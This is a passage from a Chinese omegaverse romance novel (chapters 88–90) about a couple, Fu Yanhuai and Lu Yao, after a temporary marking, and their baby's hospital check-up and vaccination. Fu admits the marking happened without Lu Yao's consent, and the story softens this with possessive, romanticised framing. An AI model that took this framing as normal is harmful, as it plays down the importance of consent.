“是我刚刚没有控制住。”傅晏淮承认自己的错误,“临时标记只会持续七天,如果你觉得不舒服,我们可以找医生看看可不可以提前消除掉。” 鹿遥没由来地一阵憋闷,他想对傅晏淮发脾气,可又好像没有发脾气的理由。傅晏淮虽然有私心,但刚刚的情况,临时标记也算正常的选择。 “既然你和我的腺体状态都不稳定,那我们就应该避免见面。”鹿遥表示出自己的生气,“像今天这样,家里人一定都会知道的,年年也会知道的。” 年年肯定能闻出他们两个信息素味道的变化,鹿遥说着说着更生气了,“这样怎么回家?” 傅晏淮觉得鹿遥生起气来还挺可爱的,他现在觉得鹿遥不管干什么都挺可爱的,傅晏淮态度非常诚恳地听训,“是我考虑不周,我让助理送两个腺体贴来,在车里等等再回去。” 好像也只能如此,鹿遥闷不吭声坐在一边,不看傅晏淮了。 傅晏淮按下车内的净化系统,现在信息素浓度太高,不能直接开窗。 腺体仍然酸软,刚刚标记过,鹿遥很需要傅晏淮的信息素。但鹿遥又对这样的自己不满意,他不知道该怎么面对现在的状况,只好看着窗外寄希望于助理快点来。 转头时后面的发丝软软扫过腺体,新鲜出炉的牙印在头发的掩盖下若隐若现。 傅晏淮眯眼盯着那枚牙印,心中鼓动起奇异的满足,和微妙的饥渴感。 “累了吗?”傅晏淮温声开口问道,“要不要把座椅放倒靠一会,我不碰你。” 鹿遥根本不想转回去看傅晏淮,他闷闷道,“我要回家。” 鹿遥要回去抱紧年年,现在已经过了他平时回家的时间,年年肯定已经在找他了。 傅晏淮当然同意,“好,今晚回去早点休息。不过,我想明天我们有必要一起去一下医院,你觉得呢?” 鹿遥连话都不想面对着傅晏淮说,更别提和他一起去医院了。 “我觉得不用。”鹿遥婉拒,“我现在没有什么不好的。” 傅晏淮坚持道,“但是你已经很没有去医院看过你的腺体了,现在又接受了临时标记,或许腺体状态会不稳定。你不舒服,年年也会受影响。” 当鹿遥不同意什么事的时候,只要搬出年年鹿遥就会动摇。傅晏淮不好评判鹿遥的这个处事标准是否正确,但不得不说,有时候确实很有用。 鹿遥不情不愿地转过头,“我自己会去,带年年一起去。” 傅晏淮没有再多说他一定要跟着之类的话,只是让鹿遥和年年多穿点以免着凉,记得叫家里的司机送他们两个去。 鹿遥稍微放松了一点,但傅晏淮这样鹿遥更加表露不出来什么情绪。车内的信息素浓度在一点点下降,鹿遥不自觉攥紧傅晏淮的外套。 傅晏淮按停了开关,他仔细观察着鹿遥的反应,“如果你觉得不舒服,就再等一等。” 现在鹿遥的身体确实不能直接接触到白冷杉信息素为零的空气,鹿遥沉默着意识到这个棘手的事实,但他停顿过后还是坚持道,“我们真的得回去了,年年是很敏感的孩子,太久不回去他会哭的。” 傅晏淮当即让助理直接把腺体贴送到傅家老宅,同时车子重新启动,鹿遥惊愕看着他,“你做什么?” 傅晏淮简短道,“很快就能到家,我把年年抱到车里。” 鹿遥懵了,“为什么?等等,既然都要回家为什么不直接…” “我很担心你的身体。”傅晏淮低声开口,“比起关心年年,我倒更希望你多关心自己一点。” 信息素浓度下降都会让鹿遥变得紧张,这大概是因为腺体机能并没有完全恢复的缘故。正常来说,omega被临时标记过后也只是会变得黏人,并不会出现对外界难以适应的情况。 “你需要在车里停留一段时间。”傅晏淮很严肃,但他也不清楚鹿遥等多久会逐渐变得正常,“等到你没有不舒服的情况,再回房间。” 鹿遥觉得没有必要,“我适应一下就好了,腺体失去功能太久,只是突然被刺激到了而已。” 傅晏淮皱眉道,“那就去我的房间。” 鹿遥还想说什么,但傅晏淮目光却忽然变难过,“年年出生,我就应该一直给你提供信息素的,这样你的腺体就不会坏了。” 良久的沉默在两人中蔓延开,鹿遥对自己腺体坏了这件事其实接受得很快,因为他原本就是个beta,真的坏了也只是变回以前。 但傅晏淮会因为他的腺体而感到懊恼,并后悔他没有照顾好自己,这感觉对鹿遥来说还是挺新奇的。 “好吧。” 鹿遥同意了,“今晚我带年年睡你的房间。” 傅晏淮眉眼温和下来,“我会重新找一间客房,如果你有不舒服,就来告诉我。” 鹿遥抿了抿唇,“不用那么麻烦了,你直接去我的房间睡吧。” 反正他的房间里也没什么东西,虽然有点别扭,但只睡一晚而已,也不会有什么不同。 傅晏淮不动声色摩挲了一下指腹,腺体仍然急切且不满足地想要omega的抚慰,但傅晏淮却前所未有地平稳下来。 omega已经愿意对他袒露出一点点柔软的、封锁起来的内里,他迟早会再次完全拥有他的。 就像以前那样。 鹿遥是趁着傅晏淮在客厅的时候偷偷溜去傅晏淮的卧室的,顶着一个临时标记,鹿遥暂时还没有想好要怎么和家里人解释。 鹿遥还以为自己要在房间里等很久,但没过一会傅晏淮就把年年抱到了床上。 年年在傅晏淮怀里一直在努力仰头,以各种奇异的姿势来无死角观察傅晏淮。 傅晏淮把挂在他身上的年年放下,“有什么不舒服的吗?” 鹿遥看到年年这么安静还惊讶了一下,直到年年把脸转过来,眼睛鼻子和脸都是红通通的,一看就是哭到一半被抱起来了。 年年看着鹿遥更加困惑了,他想爬到鹿遥身边去,又犹豫地一屁股坐在床上停下。 鹿遥看着年年摇头,“我哄哄他,你去忙吧。” 年年一出现,鹿遥全部的注意力就都转移到他身上,傅晏淮失笑。 “好。” 傅晏淮检测了一下房间内信息素浓度值,又释放了一些信息素确保段时间内不会全部消失,随后才关门离开。 第88章 第 88 章 凌乱 年年只是往傅晏淮离开的方向看了一眼, 就又迟疑地紧紧皱起眉毛看着鹿遥。 “嗯…” 年年往前爬了两步,又疑惑地努力抬起头停住。 鹿遥的味道变得不一样了,虽然年年还认得这是他的爸爸, 但是年年小小的脑壳无法有效应对鹿遥身上这么复杂的变化。 鹿遥被年年这么盯着有点心虚,他向年年伸出手小声开口, “认不出爸爸的味道了吗?但这个屋子里是你父亲的信息素,应该会有印象才对。” 年年又在床上和鹿遥僵持了一会, 最终还是对鹿遥的想念占了上风, 鹿遥成功抱到年年, 年年一到鹿遥怀里就去伸手够他的脖子。 鹿遥配合他低下头, “年年不习惯吗?” 原本鹿遥身上就只是有浅淡的焦糖味, 年年趴在他身上就能闻到鹿遥信息素的味道。现在焦糖味几乎全部被白冷杉的味道盖住了, 但白冷杉变得甜甜的。 年年在鹿遥怀里扭了扭身体,他确实有点不习惯,但眼前的人他很熟悉。年年坚持搂紧鹿遥的脖子, 这个味道他也能接受, 反正他是不会松手的, 今天鹿遥晚回家已经让年年伤心欲绝了。 年年哼哼唧唧地趴在鹿遥耳边假哭,但即使是假哭鹿遥也很愧疚,他和年年道歉, “今天原本想快点回家陪年年的, 但是出了一点意外情况。明天爸爸不出门了,在家陪你好不好?” 年年这次很有理由撒娇耍赖,他在鹿遥身上爬上爬下打滚扑腾,鹿遥哄了他很一阵子年年才终于消停。 看年年终于又高兴,鹿遥才算松了口气。 他下意识想拿年年的玩具和他一起玩,这时他才发现傅晏淮只把年年抱过来了, 除了年年什么都没拿。 这间屋子虽然只是随便收拾出来临时给傅晏淮,但傅晏淮住的这些天已经让这间屋子拥有了很强烈的傅晏淮式冷淡风格。 整洁到几乎一丝不苟的房间让鹿遥觉得自己格格不入,他发现只有他和年年刚刚躺的那里有些凌乱,就连床单都是平整没有一丝褶皱的。 鹿遥局促抱紧年年,同时很怀疑这是正常人能住出来的地方吗。 年年顺着鹿遥的视线左右看,然后他看到了床边的抽屉,他拉住鹿遥的手想让鹿遥带他过去。 年年现在已经不是只能躺在床上的状态,他可以爬着到处乱动,自从他无意中有一次拉开抽屉之后年年就爱上了这个游戏。他致力于把家里所有抽屉拉开再关上,关上再拉开。 鹿遥捏捏年年的胳膊,“不玩那个好不好,我们去把你的玩具拿过来。” 年年抓住鹿遥的一根手指,拉着鹿遥的手指着那边,年年仰起天真无邪的小脸蛋期待地眨巴眨巴大眼睛看着鹿遥。 鹿遥无可奈何地叹气,他不想动傅晏淮屋子里的东西。 “好吧,很晚了,我们玩一会就睡觉知道吗?” 好在抽屉里也没什么东西,要么放了资料,要么干脆就是空的,鹿遥在一旁看着,以免年年不小心磕到。 鹿遥看着看着就忍不住出神,他刚刚见到年年的时候,年年还很小。虽然现在也只是个小婴儿,但是已经比那个时候还是长大很多,而且也不是红通通的,年年现在很白。 年年似乎也注意到了鹿遥的目光,他坐在地上,回头对着鹿遥露出笑容。 鹿遥忍不住弯腰去亲亲年年,“怎么会有这么可爱的宝宝啊。” 鹿遥和年年度过了满足且美好的晚间亲子互动时光,傅晏淮也很满足地接受了文筝的盘问。 “你标记鹿遥了?!” 文筝这次是真的忍不住提高声音,“小鹿的腺体好了?他人呢?” “他在我的卧室休息。”对于前一句问话,傅晏淮斟酌了一下才回答,“临时标记后鹿遥对外界环境比较敏感,我觉得可能还没有完全恢复。” 文筝蹙眉道,“小鹿最近没有检查过腺体,你怎么还能给他临时标记呢?” 傅晏淮垂下眼,“出了点意外,鹿遥可能对酒精比较敏感,他喝了一杯红酒后进入发情状态了。” 文筝大惊失色,“你带他去哪儿了,怎么还喝酒?小鹿不会喝酒你不知道吗?” 傅晏淮和鹿遥在一起这么久,也的确没有看过鹿遥有喝酒的时候。不过从刚刚鹿遥的表现来看,他的酒量差得远超傅晏淮预料。 这的确是傅晏淮考虑不周,因为他没有想过有人会因为只占红酒四分之一的酒量而醉倒。 傅晏淮沉吟着道,“或许是鹿遥的腺体早就有过反应,这次喝酒只是刚好被刺激到,所以才假性发情。” 也幸好只是假性发情,如果真的直接进入发情期的话,鹿遥现在大概就会在医院里了。 文筝低声问道,“小鹿没有什么不舒服吧。” 傅晏淮顿了顿,“应该是没有,不过我说明天去医院,他也没有拒绝。” 文筝考虑到鹿遥现在需要一个信息素较为纯净的空间,她开口安排傅晏淮,“厨房留了夜宵,你一会去送一点,看看他怎么样。” 傅晏淮答应得很痛快,但看他这个样子,文筝又开始十分忧虑起来。 “你真的没有逼迫鹿遥吧。” 文筝不想怀疑傅晏淮的人品,可不管怎么想这个临时标记也是太突然了,她再三确认,“是鹿遥同意的吗?” 傅晏淮轻咳一声,“不是。” 文筝瞬间从沙发上站起来,“你说什么?!” 傅晏淮看着文筝的眼神很诚恳,“当时情况比较混乱,但鹿遥没有特别生气。” 文筝心里咯噔一下,现在家里能维持这样表面的平静已经很不容易,她非常担心傅晏淮又一次伤害到鹿遥。 “算了,你别去了。”文筝立刻改口,“我去看看小鹿。” 傅晏淮站起身拦住她,“妈,没事的。” 文筝犹豫地停住,傅晏淮的声音很沉稳,“没事的,我去吧。” 文筝目瞪口呆看着不知道为什么忽然莫名其妙重拾自信的傅晏淮,她喃喃自语道,“应该不会搞砸吧。” 事情交给傅晏淮办是可以让人放心的吗。 鹿遥到最后也没有来得及抱年年出去拿他的玩具,傅晏淮的卧室年年没有来仔细探索过,现在他励志于爬遍这个屋子的每一个角落,并且还要鹿遥配合跟着他。 鹿遥的体力很快就耗尽了,刚刚做过临时标记的身体乏力酸软。 鹿遥看着年年忍不住打哈欠,“年年,我们睡觉吧。” 年年的眼睛睁得大大的,丝毫没有困的意思。鹿遥把他抱起来放到床上,开始拍他讲故事。 “在很久很久以前,有一个公主,她…” “啊!” 鹿遥假装没有听到年年的抗议,他继续碎碎念,“她进入了一个森林,看到了…” “唔唔,嗯!” 鹿遥戳了戳年年,小声开口道,“年年,爸爸有点累了。” 他身上很酸,和未分化时每天早出晚归在蛋糕店打工的感觉很像,鹿遥也不明白自己今天为什么会格外疲惫。 年年胡乱扑腾的四肢渐渐停下来,他愣愣看着鹿遥。 鹿遥被看得很不忍心,年年又做错了什么呢,他只是等了一整天都没有等到他的爸爸回家。好不容易见到鹿遥,可是只刚刚陪他玩了一会就要到时间睡觉了。 “算了。” 鹿遥把脸埋进年年小小的身体里,他的声音听起来闷闷的,“是我不好。” 年年奋力抬起胳膊抱住鹿遥,鹿遥抬起头,年年憋红了脸努力凑近亲了鹿遥一口。 鹿遥当即哈特软软搂紧他,“明天爸爸会陪你一整天,你想做什么都可以。” 傅晏淮就是在这个氛围下敲门走进来,他先看床上姿势很奇怪的鹿遥和年年,其次就是屋内的一片狼藉。 傅晏淮古怪地在门口停顿住,抽屉都被乱七八糟地打开,桌面的东西也都歪倒凌乱堆在一起。 不用想,这一看就是年年的杰作。傅晏淮很快面色就恢复如常,反手把门在身上关上。 他把手里的托盘勉强放到一小片空位上,“妈妈给你留了夜宵,饿不饿?” 傅晏淮原本在客厅还亡羊补牢地象征性贴了个腺体贴,但在进卧室之前又心机地摘了下去。此时屋内的信息素浓度又开始一点点加重,年年最先表示不满,因为和傅晏淮的信息素相比,鹿遥身上的焦糖味道没有那么多。 现在傅晏淮一来,年年更闻不到鹿遥的信息素了。 鹿遥有点紧张,“妈妈还没睡吗?” 年年开始在鹿遥怀里拱来拱去,还撅嘴哼哼,鹿遥不知道怎么年年忽然开始闹情绪,就托着他的屁股站起来开始哄。 傅晏淮眉头稍微皱了皱,但到了鹿遥跟前又变回温和无害的样子。 “我来吧。” 傅晏淮把年年从鹿遥手中接过来,“你去吃点东西,晚上的菜你没怎么吃。” 鹿遥还是很担心地看着年年的脸,“看看是不是要换尿不湿了,还是饿了,他看着不太高兴。” 年年到了傅晏淮怀里脸就彻底垮下来了,他不情不愿地紧紧绷着脸,不过也没有再挣动,也没有哭。傅晏淮捏了捏年年身上的肉,“只是单纯在闹情绪。” 鹿遥还是很不放心,不过想到是文筝让傅晏淮来送饭的,鹿遥还是侧头去看那个托盘。 然后他才意识到桌面和抽屉都是一片混乱,鹿遥的脸腾地变红。 “这个我会收好的。”鹿遥的声音和以往相比有点软,因为他没什么力气了。 怕傅晏淮误会,鹿遥还是尽量解释,“刚刚没有来得及收拾。” 傅晏淮听得腺体发烫,鹿遥觉得自己被白冷杉的气味给包围了。 傅晏淮向前逼近一步,阴影落到鹿遥身上。 “没关系,如果是你,想弄成什么样子都可以。” 第89章 第 89 章 平安夜 鹿遥当然不会理会傅晏淮这么暧昧的话, 他觉得傅晏淮可能是临时标记过后短暂疯了。 鹿遥十分不放心地坐下,他心不在焉地喝了两口汤。 一来鹿遥此刻没有什么吃饭的心思,他很担心傅晏淮能不能哄睡年年, 二来他也是真的不饿。 或许是受到了临时标记的影响,鹿遥没有什么吃东西的胃口, 他实在没有食欲。 鹿遥勉强把汤喝了大半就放下了,年年正把头歪着倒在傅晏淮肩膀上, 吃手指看着鹿遥。 年年安静下来了, 这个时候是哄睡的好时机。 鹿遥走上前低声道, “我来吧。” 傅晏淮瞥了一眼桌上的饭菜, “不吃了吗?” 鹿遥摇头, “吃不下。” 傅晏淮停顿片刻, 不过也没有逼迫鹿遥一定要吃什么,他只是道,“那去洗漱休息吧, 很晚了, 明天上午我们一起去医院。” 傅晏淮和鹿遥隔着年年小声说话, 年年似乎有点适应白冷杉与焦糖交融的味道了,他眼皮慢慢变沉,打了个哈欠。 看鹿遥的眼神落在年年身上, 傅晏淮先开口道, “我哄睡他,你洗漱过就来休息就好。” 鹿遥不大信任傅晏淮,但他又担心两人一直在这里说话年年反而变精神,所以只好勉为其难地点头。 “好,你记得耐心一点。” 傅晏淮觉得鹿遥对自己有误解,他对鹿遥和年年一向都是很有耐心的。 鹿遥非常仓促地做完睡前洗漱工程, 他觉得自己的速度已经算很快了。但等到他再次回到卧室,就看到年年已经趴着睡熟了,傅晏淮正在给他盖毯子。 鹿遥不由一愣,“年年这么快就睡着了。” 傅晏淮放轻声音,“他困得都流眼泪了。” 小孩子困得也太快了,睡眠质量也是好到惊人。鹿遥凑近又拍了拍年年,确定他真的睡熟了才对傅晏淮道,“如果你明天有事的话,我自己去医院也可以。” 傅晏淮态度很坚决,“我和你一起。” 鹿遥就也没再说什么,何况他也是真的很累了。 “那好,你出去吧。” 傅晏淮嗯了声,“你早点休息。” 鹿遥躺倒在年年旁边,他看着年年熟睡的脸,眼睛不知不觉也闭上了。 或许是前一天太过折腾,鹿遥这一觉睡得很沉很香。沉到第二天年年都醒了,鹿遥还是在睡。 遮光窗帘挡着,屋子里黑黢黢的,年年大脑还没有完全开机,他在一片黑暗里愣了一会才搞清楚状况。 年年翻了个身,拱到鹿遥脸前面炯炯有神盯着他,但鹿遥没有丝毫要醒来的迹象。 年年唔了一声一骨碌爬坐起来,转头很无聊地四周看了一圈。 最终他还是又躺倒回去,奋力窝进鹿遥怀里。鹿遥迷迷糊糊地哄了他两句,身上拍拍年年后背,但拍着拍着眼睛又闭上了。 年年没有再吵鹿遥,他被感染得瞌睡又有点上来了,年年打了个哈欠,尝试再次进入梦乡。 此时傅晏淮已经吃过了早饭,这个时间已经比鹿遥平时起床的时间完了很多。 文筝催傅晏淮去看看,“以往这个时间小鹿早就该醒了,可别是不舒服了还一直自己忍着。” 傅晏淮觉得大概不会,但他还是决定去看看鹿遥醒没醒。就算鹿遥没醒,年年这个时间正常也该起床了。 “我去看看年年醒了没有。”傅晏淮担心年年会闹人,吵到鹿遥睡觉,“把他抱出来。” “行。”文筝对这个很同意,“小鹿要是没睡醒就多让他睡一会,下午再去医院。” 傅晏淮也这么想,他推门的动作很轻,屋内一片漆黑,傅晏淮适应了一下光线才看清屋内的场景。 鹿遥和年年一大一小两个人都在床上睡着,年年不知道为什么要撅着屁股紧贴着鹿遥的脸睡觉,鹿遥的手放还在年年后背上。 傅晏淮品尝出来了点类似于温馨的情感氛围,他放轻脚步走过去,鹿遥和年年都没有动。傅晏淮仔细看了看,年年没有要醒来的迹象。 不过傅晏淮还是想把年年抱出去,他也该换尿不湿喂奶了。 傅晏淮小心拉住鹿遥的手,把他的手放下去,然后动作尽量缓慢地把年年抱起来。 年年刚刚差不多睡着,现在被傅晏淮这样一动就有点要醒,傅晏淮迅速离开屋子关上门。 果然傅晏淮刚一到走廊年年就彻底醒了,他睁开眼睛一看抱他的人是傅晏淮不是鹿遥,年年目瞪口呆地看着他,再一转头,又直接对上文筝。 年年完全懵住,文筝哭笑不得地让育婴师先给年年换尿布湿。 傅晏淮在沙发上坐下,文筝问了句“小鹿还没醒?” 傅晏淮在让助理重新安排今天的行程,“可能是这两天累到了,多休息一下再去医院吧。” 育婴师换完尿不湿还要带年年去擦香香,文筝起身去找摇奶器。 “去完医院你和小鹿去逛一逛商场吧,还有一个月就过年了,看看有没有想要的。” 傅晏淮心中微动,陪鹿遥出去逛街他大概率会拒绝。但如果是和鹿遥一起给年年买东西的话,这会是个很好的约鹿遥出去的借口。 “年年应该也需要添置一些必需品。”傅晏淮对完今天的日程就关上电脑,“那今晚我和鹿遥就不在家里吃了。” 文筝一看傅晏淮这幅打蛇随棍上的模样又忍不住提醒他,“这得鹿遥先同意,你记得所有事都先问过他再安排。” 傅晏淮现在对此可谓是铭记于心,他认真道,“我会的,您放心。” 年年擦完身体乳才又被送到楼下来,傅晏淮抱着他喂奶,年年今天喝奶不是很积极,因为鹿遥不在。 年年一边喝一边忍不住到处乱看,傅晏淮晃了一下手里的奶瓶提醒年年专心。 “快点喝,凉了的话喝了会肚子疼,你爸爸会着急的。” 年年气哼哼地用力喝了两大口,然后就把奶瓶推开不要了。 傅晏淮随手把奶瓶放到茶几上,年年开始不老实地想从沙发上下去。傅晏淮又把他抱回来,“鹿遥在睡觉,我带你去院子里。” 年年当然不想去,他转回身体指着楼上,“啊!” 傅晏淮看着年年天真无邪的脸,没有丝毫委婉地拒绝了他的要求,“不行。” 年年不明白为什么不行,他当即就要自己从沙发上爬下去,傅晏淮无奈地开始在客厅和年年来回拉扯。 鹿遥直到快中午才慢悠悠睁开眼睛,入眼一片漆黑,和睡着时候的黑暗没什么差别,鹿遥缓神了一阵才去摸手机。 “现在这是几点了。” 房间很陌生,被子也不是自己熟悉的。鹿遥按亮屏幕,但手机光太亮,鹿遥眯起眼睛看过了时间都没反应过来。 他的嗓音还带着刚醒的鼻音,“十一点?晚上吗。” 不对吧,他好像十一点才睡的呢。 鹿遥意识到什么猛地把眼睛睁大,“已经中午了?!” 这回鹿遥完全精神了,然后他又想起自己昨晚明明是搂着年年一起睡的。鹿遥赶忙翻身回头到处摸摸,“年年呢??” 鹿遥没有听到傅晏淮中途进来过一次,他慌慌张张坐起来换衣服。 年年正在客厅和傅晏淮闹脾气,他就要去看鹿遥就要鹿遥抱他,傅晏淮一直拦着他还很凶,年年很不高兴地扁嘴想哭。 傅晏淮深吸口气,“不许哭,我说了鹿遥在睡觉,你这样会打扰他的。” 如果鹿遥醒来发现他把年年给带哭了,那鹿遥一定会对他生气。 傅晏淮头疼地按了按眉心,“你想玩点其他的吗?” 年年鼻子开始变红,傅晏淮长叹口气。 文筝在一旁看不下去了,“他是想小鹿了,你就哄哄他就好了呀。哎呀,去那边去,给我。” 傅晏淮为自己辩解,“我已经在哄他了。” 文筝忙着抱年年,她嫌弃地随便敷衍了两句,“算了算了。不过也快中午了,小鹿不能一直不吃东西,你看看他醒了没有。” 傅晏淮也正有此意,睡懒觉很正常,但如果一直昏睡不醒那就十分值得警惕了。 最重要的也是他再哄下去年年就真的要被他给哄哭了,年年的确和鹿遥说的一样,是不爱哭也不闹人的宝宝。因为不常哭泣,所以一哭鹿遥就会很心疼。 傅晏淮不是怕被鹿遥骂,而是如果鹿遥自己都很疲惫还要哄孩子,傅晏淮会觉得自己很失职。 于是傅晏淮又重复早上的动作,上楼,尽量安静地推门,鹿遥正坐在床上换上衣。 尽管光线昏暗不明,尽管鹿遥受惊一般地迅速把卫衣套上,但傅晏淮还是看见了鹿遥露出的一小截,洁白纤细的腰。 鹿遥板起脸凶巴巴地问他,“你怎么不敲门就进来?” 鹿遥躲在被窝里不出来,他还没有换裤子。 傅晏淮表示歉意,“你太久没有醒,我出去等你。” 鹿遥紧紧揪着被子,一直很警惕地盯着傅晏淮,直到他真的关上门离开才松了口气。 鹿遥开始十分慌张迅速地换衣服,然后把窗帘拉开。 屋子里很乱,鹿遥在收好屋子和出去之间犹豫了一下,最终还是选择先出去,他还没见到年年呢。 傅晏淮没有在门外等太久,鹿遥很快就出来了。 鹿遥先是问他,“年年呢?” 傅晏淮低头看着鹿遥,有点走神。 他想起了点不合时宜的东西,他记得自己的手覆上鹿遥腰肢的触感,记得咬上那一截肌肤时鹿遥在他身下的颤抖和呜咽。 鹿遥忍不住蹙眉,“你有在听我说话吗?傅晏淮,年年呢?” 傅晏淮眼神变暗,但语气却很温和,“在楼下呢,走吧。” 第90章 第 90 章 人类幼崽质检 “我没有注意到他什么时候进到屋子里来的。” 鹿遥有点不好意思看文筝, 年年看见鹿遥就很高兴,他乐呵呵靠在鹿遥身上,乖乖玩玩具。 文筝看鹿遥的眼神一如既往地慈爱, 她看着年年和鹿遥在一起的样子,觉得很美好。 “你没事就好。”文筝刮了一下年年的脸逗他, “早上看你一直没醒,担心年年闹你。” 鹿遥脸红了, 他不仅没感觉到傅晏淮进来, 也不记得年年早上有没有醒过。 傅晏淮坐在一边, 显得有点心不在焉。 “既然你没有不舒服, 那医院就下午再去。” 文筝瞥了一眼傅晏淮, 觉得他坐在那都像是一肚子坏水没安好心的样子。 她把目光收回, 对着鹿遥温和道,“你忙了这么多天,想不想出去逛逛。还有差不多一个月就过年了, 去买点自己喜欢的。” 鹿遥下意识开口, “没有什么想要的, 品牌店…” 然后鹿遥注意到年年手里在玩的玩具,年年一直到六个月都一直很爱玩他买的那个小鹿玩具,但后来鹿遥的腺体逐渐恢复, 再加上给他买了新的小狗玩偶, 年年就逐渐不玩那个玩具了。 最近鹿遥没顾得上亲自给年年挑点什么玩,年年现在玩的东西种类很丰富,很多鹿遥都没见过。 鹿遥没把后半句话说完,他对文筝笑笑,“逛一逛也好,我想给年年买点东西。” 文筝觉得不错, 鹿遥一直重复两点一线的生活,她知道鹿遥回家了也会继续学习。文筝当然不会阻止鹿遥上进,但她觉得鹿遥需要适当的放松。 文筝叮嘱鹿遥道,“别太有压力,这个店只当是增加经验,能学到东西就可以了。” 文筝坚信所有的课程都不如自己亲身上手实践尝试,花点小钱让自家孩子增长阅历是很值得的买卖。 鹿遥看文筝的眼神软软的,“我知道的,妈妈。” 鹿遥在和文筝说话,傅晏淮就一直看着他。 他的视线有点太打扰人了,尽管这可能也不是他的本意。但傅晏淮就是这样的,就算只是安安静静坐在一旁,都让人没有办法忽略他。 文筝清清嗓子,“那你们下午一起去医院,然后出门去逛一逛。不让他跟着也行,让他做司机接送你。” 鹿遥想了想道,“带年年一起去吧,反正年年到这个月龄都也是要检查一下发育情况的。” 正好可以直接带年年去买衣服,有他喜欢的小玩具也可以直接拿着。 文筝没有意见,傅晏淮就更没有了。鹿遥现在对他的接受度在逐渐提高,傅晏淮觉得现在的状况很好。 前一阵子换季年年发烧,最近天冷就都没让他出去。年年听到几个大人在提自己的名字,好奇抬头左看右看。 鹿遥低头笑得眼睛弯弯的,“要出去玩了,年年想出去吗?” 鹿遥一笑年年就也跟着笑,鹿遥看着年年无忧无虑又活泼的样子很满足,他抱着年年和他玩贴脸游戏。 文筝看着这一幕感慨万分,希望傅晏淮能懂现在的生活的含金量。 鹿遥吃过饭就开始给年年换衣服,他挑了很漂亮的小套装给年年穿,还选了一顶小帽子。 傅晏淮有点出乎意料,鹿遥不太爱打扮自己,对于买衣服也没什么兴趣,但对待年年倒是乐此不疲。 鹿遥就这样高高兴兴地抱着年年出门,直到车停进医院停车场,年年表情开始逐渐僵硬。 傅晏淮怕鹿遥一直抱着会累,他按了电梯就开口,“给我抱吧。” 年年现在体重变沉,再加上他穿的衣服棉袄,还是很有分量的。 鹿遥注意到年年变得很警惕,他没有让傅晏淮抱,“年年是不是太久没来外面了,好像有点不适应呢。” 傅晏淮猜测道,“大概是看见医院害怕。” 鹿遥很惊讶,“年年这么小,他能知道这里是医院吗。” 年年看了一圈医院走廊,趴下去把脸埋在鹿遥肩膀上,不吭声了。 鹿遥有点担心,他想看看年年的状况,但是又看不到。 傅晏淮还是伸手把年年抱了起来,“我来吧。” 年年呜呜了两声,鹿遥一看到年年低落就忍不住焦虑,“以前四个多月的时候也来过呀,怎么这次这么不开心。” 傅晏淮按照自己的理解浅浅分析了一下,“那个时候他应该智力还没有开始发育,现在能意识到这里不是好地方了。” 鹿遥身形凝滞,怎么什么话从傅晏淮嘴里说出来都变得这么不中听。 年年彻底消停下来,他只露出两只眼睛趴着看鹿遥。 鹿遥拉了拉他的小帽子,年年不想挡住视线遮住鹿遥,又往下蹭了蹭,继续盯鹿遥。 鹿遥失笑道,“别怕,我们做个体检就走了。一会去商场,买好吃的还有玩具。” 年年对这里印象很不好,他出生后在这里住了一个多月,不知道是不是还记得日夜哭闹想要鹿遥的日子。 年年虽然很郁闷,但还是很听话地让傅晏淮抱着他走,鹿遥一直在和他说话转移他的注意力。 医生知道傅晏淮今天要和鹿遥一起做腺体检查,但没想到年年竟然也来了。 医生赶忙站起身,他看着年年疑惑发问,“今天这是…” 傅晏淮把年年放下来,扶着他坐正才开口,“我们检测腺体,他只是顺便做一下发育检查。” 医生瞬间放松,他还以为这一家三口都出问题了。 他先分别给两个人取了一点点腺体/液做检测,护士约了儿科医生到私人诊室,年年严肃地盯着医生。 取样的过程十分迅速而且痛感很小,接下来他们只要等报告就可以,鹿遥迅速整理好衣领去看年年。 人类幼崽质检员给自己消好毒后就站到年年跟前,女医生很温柔,“你好呀,把手伸出来给我看看好不好。” 年年当然是不好了,他警惕地把手缩进袖子里藏起来。 鹿遥在一旁解释道,“他可能是在医院有点紧张。” 鹿遥握住年年的手臂轻轻晃了晃,“让医生做个检查,可不可以?” 年年紧紧绷着脸,以一种非常僵硬的姿势坐到医疗床上。 医生开始正常做检测项目,“我们先来量身高体重~” 年年被放倒躺下,他抿着嘴憋憋屈屈地看着鹿遥。 鹿遥有点心疼又有点想笑,他安慰年年道,“很快就好了,等一下啊。” 测过身高体重开始检查心肺功能,婴儿抓握爬行,总之年年被翻来覆去掉着个地上下左右都检查了个遍。 年年很坚强地忍住没有哭,等到终于结束,医生坐到一边开检查结果,鹿遥帮年年拉好拉链,一边哄一边抱着他坐起来。 年年被折腾得很不开心,他贴贴鹿遥缓解自己的委屈。 此时医生正和傅晏淮一样一样讲年年的数据,“功能发育都正常,水平已经追上了足月出生的孩子。刚出生时的信息素抵抗症状缓解了很多…” 鹿遥抱着年年,走到一边默默听着。他看着年年乖乖在他怀里的样子,抬手摸了摸年年的头。 医生说完最后总结,“孩子很健康。不过这个月龄有一针疫苗要打,要今天注射吗?” 傅晏淮挑了下眉,回头看鹿遥。 年年刚刚勉勉强强把自己给哄好了,鹿遥满脸为难地低头,对上年年充满信赖的双眼。 鹿遥心一横,“打吧。” 于是年年露出自己白白嫩嫩的胳膊,喜提一针疫苗。 在闪着寒光的针尖刚露出来的时候,年年还没反应过来这是要做什么。 傅晏淮面无表情捏住他的胳膊,医生迅速打完一针贴上卡通创可贴。 年年的鼻子眼睛开始肉眼可见地变红,他抽抽搭搭地转头,扑到鹿遥怀里嚎啕大哭起来。 鹿遥带着年年火速离开医院,年年的情绪收不住了,眼泪像泄洪一样狂流。直到坐进车里,年年依然是一副很伤心的样子。 年年神情呆滞地坐在鹿遥腿上,一抽一抽地打哭嗝,鹿遥心疼坏了,把年年紧紧抱着。 “早知道就不今天打疫苗了。” 鹿遥很后悔,“今天冷不丁来医院,年年本来也不适应。” 傅晏淮也有些惊愕,因为年年的确是极少有这样情绪失控的时候。三个月以前这样声嘶力竭哭泣的时候比较多,但自从鹿遥回来,年年就再也没有这样过了。 鹿遥轻轻地拍年年,年年揪着鹿遥的袖口不松手。 鹿遥伸手贴贴年年的脸,“也不知道在外面这么哭会不会感冒,今天不去逛了,先回家吧。” 年年这样也确实逛不好,傅晏淮点头同意,“上次的南瓜羹年年很喜欢,今晚再做一点给年年吃。” 年年整个人像是发了霉的蘑菇,阴暗贴着鹿遥,把脸埋进鹿遥的外套里。 鹿遥看着年年的样子止不住地提心吊胆,“只是打针而已,怎么会这样呢。” 傅晏淮觉得年年就是对这个医院有阴影,他之前三天两头地往这个医院跑,动不动就要住两天。 